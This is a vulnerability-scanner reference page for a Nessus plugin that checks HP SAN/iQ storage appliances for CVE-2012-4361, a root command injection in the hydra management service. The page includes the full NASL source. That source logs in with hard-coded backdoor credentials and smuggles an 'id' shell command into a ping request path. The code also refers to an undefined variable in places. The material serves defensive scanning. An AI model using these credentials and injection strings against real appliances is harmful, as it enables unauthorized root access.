HP SAN/iQ < 9.5 Root Shell Command Injection - Nessus

High   Plugin ID: 59330

This page contains detailed information about the HP SAN/iQ < 9.5 Root Shell Command Injection Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 59330
Name: HP SAN/iQ < 9.5 Root Shell Command Injection
Filename: hp_saniq_hydra_cmd_injection.nasl
Vulnerability Published: 2011-11-10
This Plugin Published: 2012-06-01
Last Modification Time: 2022-04-11
Plugin Version: 1.16
Plugin Type: remote
Plugin Family: Gain a shell remotely
Dependencies: hp_saniq_hydra_detect.nbin
Excluded KB Items [?]: global_settings/supplied_logins_only

Vulnerability Information


Severity: High
Vulnerability Published: 2011-11-10
Patch Published: 2011-11-10
CVE [?]: CVE-2012-4361
CPE [?]: cpe:/a:hp:san/iq

Synopsis

A management service on the remote host has a command injection vulnerability.

Description

The version of SAN/iQ running on the remote host has a command injection vulnerability. The hydra service, used for remote management and configuration, does not properly sanitize untrusted input. A remote attacker could exploit this to execute arbitrary commands as root. Authentication is required, but can be bypassed easily by using default, hard-coded credentials.

Solution

Upgrade to HP SAN/iQ 9.5 or later.

Public Exploits


Target Network Port(s): 13838
Target Asset(s): Services/hydra_saniq
Exploit Available: True (Metasploit Framework, Exploit-DB)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the HP SAN/iQ < 9.5 Root Shell Command Injection vulnerability:

  1. Metasploit: exploit/multi/misc/hp_vsa_exec
    [HP StorageWorks P4000 Virtual SAN Appliance Command Execution]
  2. Exploit-DB: exploits/hardware/remote/18893.py
    [EDB-18893: HP VSA - Remote Command Execution]
  3. Exploit-DB: exploits/hardware/remote/18901.rb
    [EDB-18901: HP StorageWorks P4000 - Virtual SAN Appliance Command Execution (Metasploit)]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS Score Source [?]: CVE-2012-4361
CVSS V2 Vector: AV:A/AC:L/Au:S/C:C/I:C/A:C/E:F/RL:OF/RC:C
CVSS Base Score:7.7 (High)
Impact Subscore:10.0
Exploitability Subscore:5.1
CVSS Temporal Score:6.4 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:6.4 (Medium)

Go back to menu.

Plugin Source


This is the hp_saniq_hydra_cmd_injection.nasl nessus plugin source code. This script is Copyright (C) 2012-2022 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(59330);
  script_version("1.16");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2012-4361");
  script_bugtraq_id(55132);
  script_xref(name:"TRA", value:"TRA-2011-12");
  script_xref(name:"EDB-ID", value:"18893");
  script_xref(name:"EDB-ID", value:"18901");

  script_name(english:"HP SAN/iQ < 9.5 Root Shell Command Injection");

  script_set_attribute(attribute:"synopsis", value:
"A management service on the remote host has a command injection
vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of SAN/iQ running on the remote host has a command
injection vulnerability. The hydra service, used for remote management
and configuration, does not properly sanitize untrusted input. A
remote attacker could exploit this to execute arbitrary commands as
root. Authentication is required, but can be bypassed easily by using
default, hard-coded credentials.");
  script_set_attribute(attribute:"see_also", value:"https://www.tenable.com/security/research/tra-2011-12");
  script_set_attribute(attribute:"see_also", value:"http://www.agarri.fr/blog/archives/2012/02/index.html");
  # https://www.verisign.com/en_US/security-services/index.xhtml?id=958&inc=www.verisigninc.com&loc=en_US
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?26e0508f");
  # http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03082086
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?64450dd1");
  script_set_attribute(attribute:"solution", value:
"Upgrade to HP SAN/iQ 9.5 or later.");
  script_set_cvss_base_vector("CVSS2#AV:A/AC:L/Au:S/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2012-4361");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'HP StorageWorks P4000 Virtual SAN Appliance Command Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2011/11/10");
  script_set_attribute(attribute:"patch_publication_date", value:"2011/11/10");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/06/01");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:hp:san/iq");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"Gain a shell remotely");

  script_copyright(english:"This script is Copyright (C) 2012-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("hp_saniq_hydra_detect.nbin");
  script_exclude_keys("global_settings/supplied_logins_only");
  script_require_ports("Services/hydra_saniq", 13838);

  exit(0);
}

include('audit.inc');
include('global_settings.inc');
include('misc_func.inc');
include('byte_func.inc');
include('hp_saniq_hydra.inc');
include("data_protection.inc");

port = get_service(svc:"hydra_saniq", default:13838, exit_on_fail:TRUE);

# the exploit involves logging in with a hard-coded password
if (supplied_logins_only) audit(AUDIT_SUPPLIED_LOGINS_ONLY);

soc = open_sock_tcp(port);
if (!soc) audit(AUDIT_SOCK_FAIL, port);

# try logging in with backdoor login account
login_res = hp_hydra_login(socket:soc,
                           port:port,
                           username:'global$agent',
                           password:'L0CAlu53R',
                           version:"9.5.0",
                           exit_on_fail:TRUE);

# the host is running a newer version and is not affected
if (login_res == HP_HYDRA_LOGIN_CLIENT_TOO_OLD)
{
  close(soc);
  audit(AUDIT_LISTEN_NOT_VULN, "HP SanIQ Hydra Service", port);
}

# device may be affected, but our backdoor login failed,
# so we can't attempt to exploit it
if (login_res != HP_HYDRA_LOGIN_OK)
{
  close(soc);
  exit(0, 'Unable to login to HP SanIQ Hyrda Service on port ' + port + ' using default credentials.');
}

shell_cmd = 'id';
ping_cmd = 'get:/lhn/public/network/ping/127.0.0.1/|' + shell_cmd + ' #/64/5/';

res = hp_hydra_run_command(socket:soc, port:port, cmd:ping_cmd, exit_on_fail:TRUE);

# older versions appear to invoke the ping command differently
if ('incorrect number of parameters specified' >< res)
{
  ping_cmd = 'get:/lhn/public/network/ping/127.0.0.1/|' + cmd + ' #/';
  res = hp_hydra_run_command(socket:soc, port:port, cmd:ping_cmd, exit_on_fail:TRUE);
}

close(soc);

if (!egrep(string:res, pattern:'uid=[0-9]+.*gid=[0-9]+.*'))
  audit(AUDIT_HOST_NOT, 'affected');

if (report_verbosity > 0)
{
  res -= 'OK:';
  report = '\nNessus executed the "' + cmd + '" command, which returned :\n\n' + data_protection::sanitize_uid(output:chomp(res)) + '\n';
  security_hole(port:port, extra:report);
}
else security_hole(port);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/hp_saniq_hydra_cmd_injection.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\hp_saniq_hydra_cmd_injection.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/hp_saniq_hydra_cmd_injection.nasl

Go back to menu.

How to Run


Here is how to run the HP SAN/iQ < 9.5 Root Shell Command Injection as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select Gain a shell remotely plugin family.
  6. On the right side table select HP SAN/iQ < 9.5 Root Shell Command Injection plugin ID 59330.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl hp_saniq_hydra_cmd_injection.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a hp_saniq_hydra_cmd_injection.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - hp_saniq_hydra_cmd_injection.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state hp_saniq_hydra_cmd_injection.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: TRA | Tenable Research Advisory: See also: Similar and related Nessus plugins:
  • 55552 - HP Data Protector <= A.06.20 Multiple Vulnerabilities (uncredentialed check)
  • 53641 - HP Data Protector Remote Command Execution
  • 43635 - HP Data Protector OmniInet.exe MSG_PROTOCOL Command RCE
  • 65255 - HP Intelligent Management Center < 5.2 E401 Multiple Vulnerabilities
  • 63265 - HP Intelligent Management Center User Access Manager Datagram Parsing Code Execution
  • 55907 - HP iNode Management Center Buffer Overflow (HPSB3C02687) (remote check)
  • 62902 - HP LoadRunner < 11.00 Patch 4 Code Execution (intrusive check)
  • 69424 - HP LoadRunner < 11.52 SSL Connection Handling Stack Buffer Overflow RCE
  • 58516 - HP OpenView Network Node Manager Multiple Code Execution Vulnerabilities (HPSBMU02712 SSRT100649)
  • 61612 - HP SAN/iQ <= 10.0 Root Shell Command Injection
  • 64633 - HP LeftHand Virtual SAN Appliance < 10.0 hydra Service Multiple RCE
  • 27054 - HP Linux Imaging and Printing Project (hplip) hpssd from Address Command Injection

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file hp_saniq_hydra_cmd_injection.nasl version 1.16. For more plugins, visit the Nessus Plugin Library.

Go back to menu.